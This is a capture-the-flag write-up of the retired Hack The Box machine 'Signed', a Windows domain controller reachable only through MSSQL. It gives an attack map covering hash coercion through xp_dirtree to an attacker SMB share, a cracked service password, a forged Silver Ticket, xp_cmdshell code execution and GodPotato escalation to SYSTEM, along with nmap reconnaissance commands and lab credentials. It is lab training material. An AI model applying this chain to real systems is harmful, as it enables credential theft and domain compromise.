root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat signed.md
// writeups

Signed

11 Oct 2025 · 12 min read · root access
Signed - maquina de Hack The Box

Executive summary — Signed is a domain controller that exposes only MSSQL externally (Kerberos and SMB are filtered inbound), so the entire chain has to be solved through that single service. A low-privilege SQL login is used to coerce the DC itself into authenticating against an attacker-controlled SMB, capturing the MSSQL service account's NetNTLMv2 hash. Once that's cracked, a fully offline-forged Silver Ticket (no Kerberos contact needed, precisely because port 88 is blocked) grants sysadmin privileges on the database. The final escalation is the most technically interesting part: xp_cmdshell's token has SeImpersonatePrivilege deliberately stripped, and recovering it means exploiting the fact that a loopback network logon retains privileges the process token had already lost.

PlatformHack The Box
Operating systemWindows Server 2019
DifficultyMedium
StatusRetired
Target IP10.129.242.173

Attack map

[1433] MSSQL — the only open port (Kerberos/SMB filtered)
   │  scott : Sm230#C5NatH (SQL login, guest)
   ▼
[COERCION]  xp_dirtree \\attacker\x → Responder captures mssqlsvc's NetNTLMv2
   │  cracked: purPLE9795!@
   ▼
[OFFLINE]  Silver Ticket (domain SID + NT hash + SPN MSSQLSvc + IT group) → sysadmin
   │  xp_cmdshell enabled → RCE as signed\mssqlsvc  (user.txt)
   │  SeImpersonatePrivilege MISSING from the process token
   ▼
[RECOVERY]  named pipe + loopback network logon (SQOS impersonation) → token with SeImpersonate
   ▼
[ROOT]  GodPotato with the recovered token → SYSTEM → root.txt

1. Reconnaissance

nmap -sT -p- -Pn -T4 --min-rate 3000 10.129.242.173          # only 1433 (after several attempts)
nmap -sT -p1433 -Pn --script ms-sql-info,ms-sql-ntlm-info 10.129.242.173
1433/tcp open ms-sql-s  Microsoft SQL Server 2022 RTM
NetBIOS_Computer_Name: DC01   DNS_Domain_Name: SIGNED.HTB   DNS_Computer_Name: DC01.SIGNED.HTB
Product_Version: 10.0.17763   (Windows Server 2019 — Domain Controller)
echo "10.129.242.173 DC01.SIGNED.HTB SIGNED.HTB DC01" | sudo tee -a /etc/hosts

Only port 1433 responds from outside; neither Kerberos (88) nor SMB (445) are reachable. That rules out any technique relying on requesting a TGT from the KDC in real time — any Kerberos ticket will have to be forged offline and presented straight to the service.

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